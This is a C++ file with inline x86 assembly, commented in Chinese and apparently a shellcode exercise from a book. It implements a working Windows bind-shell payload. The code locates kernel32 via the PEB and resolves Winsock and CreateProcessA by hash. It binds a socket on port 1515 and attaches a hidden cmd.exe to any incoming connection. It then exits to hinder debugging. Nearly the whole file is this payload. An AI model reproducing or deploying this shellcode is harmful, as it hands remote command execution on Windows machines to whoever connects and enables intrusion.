FirstPayload
// FirstPayload.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>int main(){ __asm { SUB ESP,0x20 // 开辟一段栈空间,增加健壮性 push ebp mov ebp,esp sub esp,0x10 JMP tag_Shellcode // 前置代码,避免后面的数据被解释为指令 // cmd.exe // [tag_Next-0x25] _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E) _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00) // ws2_32.dll\0 // [tag_Next-0x1D] _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F) _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64) _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00) // kernel32.dll // [tag_Next-0x12] _asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E) _asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32) _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C) _asm _emit(0x00) tag_Shellcode: //1.GetPCCALL tag_Nexttag_Next:pop ebx // BaseAddr mov [ebp-0x04],ebx // LOCAL_1=Shellcode BaseAddr// 2.获取关键模块基址mov esi,dword ptr fs:[0x30] // PEB的地址mov esi,[esi+0x0C] // 指向PEB_LDR_DATA的指针mov esi,[esi+0x1C] // 模块链表指针mov esi,[esi] // 访问链表中的第二个条目mov edx,[esi+0x08] // 获取Kernel32.dll基址// 3.获取LoadLibraryExA的函数地址push edx // ImageBase =Kernel32.dllpush 0xC0D83287 // nHashDigest=LoadLibraryExA Digestcall fun_GetFunAddrByHash // 根据哈希值找函数地址的自定义函数mov edi,eax // LoadLibraryExA// 4.加载Kernel32.dll,增强兼容性(win7取得的是KernelBase.dll的基址)lea esi,[ebx-0x12] // kernel32.dll\0push 0 // /-dwFlags=0push 0 // |-hFile =0push esi // |-lpLibFileName =kernel32.dllcall edi // LoadLibraryExA()mov [ebp-0x08],eax // LOCAL2=Kernel32.dll基址// 5.加载ws2_32.dll以方便后面的网络通信编程lea esi, [ebx - 0x1D] // ws2_32.dll\0push 0 // /-dwFlags=0push 0 // |-hFile =0push esi // |-lpLibFileName =ws2_32.dllcall edi // LoadLibraryExA()mov[ebp - 0x0C], eax // LOCAL3=ws2_32.dll基址// 6. 执行Payload部分push [ebp-0x0C] // ws2_32.dll基址push [ebp-0x08] // Kernel32.dll基址push [ebp-0x04] // BaseAddrcall fun_Payload //// 7.Payload执行完毕,结束程序,防止被调试分析push [ebp-0x08] // IMAGEBASE =PARAM_2(Kernel32.dll)push 0x4FD18963 // nHashDigest=ExitProcess Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashpush 0 // /-uExitCode =NULLcall eax // ExitProcess()mov esp,ebp //pop ebp //////////////////////////////////////////////////////////////////////////////根据哈希值获取函数,返回值为关键函数地址//////////////////////////////////////////////////////////////////////////fun_GetFunAddrByHash://(int nHashDigest,int ImageBase)push ebpmov ebp,espsub esp,0x0Cpush edx// 1.获取EAT ENT EOTmov edx,[ebp+0x0C] // PARAM_1 (ImageBase)mov esi,[edx+0x3C] // IMAGE_DOS_HEADER.E_LFANEWlea esi,[edx+esi] // PE文件头mov esi,[esi+0x78] // IMAGE_DIR...EXPORT.VirtualAddresslea esi,[edx+esi] // 导出表首地址mov edi,[esi+0x1C] // IMAGE_EXP...ORY.AddressOfFunctionslea edi,[edx+edi] // EAT首地址mov [ebp-0x04],edi // LOCAL_1 EAT首地址mov edi,[esi+0x20] // IMAGE_EXP...ORY.AddressOfNameslea edi,[edx+edi] // ENT首地址mov [ebp-0x08],edi // LOCAL_2 ENT首地址mov edi,[esi+0x24] // IMAGE_EXP...ORY.AddressOfNameOrdinalslea edi,[edx+edi] // EOT首地址mov [ebp-0x0C],edi // EOT首地址// 2.循环对比ENT中的函数名xor ecx,ecxjmp tag_FirstCmptag_CmpFunNameLoop:inc ecxtag_FirstCmp:mov esi,[ebp-0x08] // LOCAL_2e ENTmov esi,[esi+4*ecx] // ENT RVAmov edx,[ebp+0x0C] // PARAM_1 IMAGEBASElea esi,[edx+esi] // ENT VApush [ebp+0x08] // 传参nDigest = PARAM_1(nDigest)push esi // 传参strFunName = ENT VAcall fun_Hash_CmpString // 比较哈希值test eax,eax // 如果相等eax为1,否则为0je tag_CmpFunNameLoop // 备注,书本上是jne// 3.成功后找到对应的序号mov esi,[ebp-0x0C] // LOCAL_3 EOTxor edi,edimov di,[esi+ecx*2] // 用函数名数组下标在序号数组找到对应的序号// 4.使用序号作为索引,找到函数名所对应的函数地址mov edx,[ebp-0x04] // LOCAL_1 EATmov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址mov edx,[ebp+0x0C] // param_1 imagebase// 5.返回获取到的关键函数地址lea eax,[edx+esi] // 返回GetProcAddress的地址pop edxmov esp,ebppop ebpretn 0x08fun_Hash_CmpString: //(char * strFunName,int nDigest)push ebpmov ebp,espsub esp,0x04 //开辟局部变量并清零mov dword ptr [ebp-0x04],0x00push ebx //保存用到的寄存器push ecxpush edxmov esi,[ebp+0x08] // PARAM_1(strFunName)xor ecx,ecxxor eax,eaxtag_HashLoop:mov al,[esi+ecx] // al=字符串的第ecx个字符test al,al // 判断是否为0,为0结束循环jz tag_HashEndmov ebx,[ebp-0x04] // LOCAL_1(摘要)shl ebx,0x19 // 摘要<<0x19(25)mov edx,[ebp-0x04] // LOCAL_1(摘要)shr edx,0x07 // 摘要>>0x07(07)or ebx,edx // ebx|edxadd ebx,eax // edx+字符的ASCIImov [ebp-0x04],ebxinc ecx // ecx++jmp tag_HashLooptag_HashEnd:mov ebx,[ebp+0x0C] // PARAM_2(nDigest)mov edx,[ebp-0x04] // LOCAL_1(摘要)xor eax,eaxcmp ebx,edxjne tag_FunEnd // 备注mov eax,1tag_FunEnd:pop edxpop ecxpop ebxmov esp,ebppop ebpretn 0x08////////////////////////////////////////////////////////////////////////////有效荷载,返回值NULL//////////////////////////////////////////////////////////////////////////fun_Payload:// (int BaseAddr,int Kernel32_Base,int ws2_32_Base)push ebpmov ebp,espsub esp,0x300// 1.初始化Winsock服务push [ebp+0x10] // IMAGEBASE =PARAM_3(ws2_32.dll)push 0x80B46A3D // nHashDigest =WSAStartup Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashlea esi ,[ebp-0x300] // WSADatapush esi // /-lpWSAData=WSADATApush 0x0202 // |-wVersionRequested=2.2call eax // WSAStartup()test eax,eaxjnz tag_PaloadEnd// 2.创建一个原始套接字push [ebp+0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)push 0xDE78322D // nHashDigest =WSASocketA Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashpush 0 // /-dwFlags=0push 0 // |-g =0push 0 // |-lpProtocolInfo=0push 6 // |-protocol=IPPROTO_TCPpush 1 // |-type=SOCK_STREAMpush 2 // |-AF =af_inetcall eax // WSASocketA()mov[ebp - 0x04], eax // LOCAL_1=SOCKET// 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0XBE05]push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)PUSH 0xDDA71064 // nHashDigest =bind Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashmov word ptr [ebp-0x200],0x02 // /SOCKADDR_IN.sin_family=AF_INETmov word ptr [ebp-0x1FE],0xEB05 // |SOCKADDR_IN.sin_port=0xEB05(1515)mov dword ptr [ebp-0x1FC],0 // \SOCKADDR_IN.sin_addr=INADDR_ANYlea esi,[ebp-0x200] // SOCKADDR_INpush 0x14 // /-namelen =0x14push esi // |-name =SOCKADDR_INpush [ebp-0x04] // |-s LOCAL_1(socket)call eax // bind()test eax,eax //jnz tag_PaloadEnd// 4. 监听申请的连接,队列中可容纳5个链接push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)push 0x4BD39F0C // nHashDigest =listen Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashpush 0x7FFFFFFF // /-backlog =SOMAXCONNpush[ebp - 0x04] // |-s LOCAL_1(socket)call eax // listen()test eax, eaxjnz tag_PaloadEnd// 5. 接受一个链接push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)push 0x01971EB1 // nHashDigest =accept Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashpush 0 // /-addrlen =0push 0 // /-addr =0push[ebp - 0x04] // |-s LOCAL_1(socket)call eax // accept()mov [ebp-0x04],eax // LOCAL_1(SOCKET)=SOCKET// 6.创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字下push[ebp + 0x0C] // IMAGEBASE =PARAM_3(kernel32.dll)push 0x6BA6BCC9 // nHashDigest =CreateProcessA Digestcall fun_GetFunAddrByHash // fun_GetFunAddrByHashmov edx,eax // CreateProcessAlea edi,[ebp-0x90] // /-清空STARTUPINFOAmov ecx,0x11 // |-STARTUPINFOAmov eax,0x00 // |-从[ebp-0x90]开始cld // |-到[ebp-0x48]结束rep stosd // |-mov dword ptr [ebp-0x90],0x00000044 // |-STA...A.cb=48mov dword ptr [ebp-0x64],0x00000100 // |-STA...A.dwFlags=startf...mov word ptr [ebp-0x60],0x0000 // |-STA...A.wShowWindow=SW_HIDEmov esi,[ebp-0x04] // |-LOCAL_1(SOCKET)mov dword ptr[ebp - 0x58], esi // |-STA...A.hStdInput=SOCKETmov dword ptr[ebp - 0x54], esi // |-STA...A.hStdOutput=SOCKETmov dword ptr[ebp - 0x50], esi // \-STA...A.hStdError =SOCKETlea esi,[ebp-0x90] // STARTUPINFOAlea edi,[ebp-0x200] // PROCESS_INFORMATIONmov ebx,[ebp+0x08] // PARAM_1(BaseAddr)lea ebx,[ebx-0x25] // cmd.exe\0 push edi // /-lpProcessInformation=PROCESS_INFORMATIONpush esi // |-lpStartupInfo =STARTUPINFOApush 0 // |-lpCurrentDirectory=0push 0 // |-lpEnvironment=0push 0 // |-dwCreationFlags=0push 1 // |-bInheritHandles=1push 0 // |-lpThreadAttributes=0push 0 // |-lpProcessAttributs=0push ebx // |-lpCommandLine=cmd.exe\0push 0 // |-lpApplicationName=0call edx // CreateProcessA()tag_PaloadEnd: // mov esp,ebp // pop ebp // retn 0x0C // }}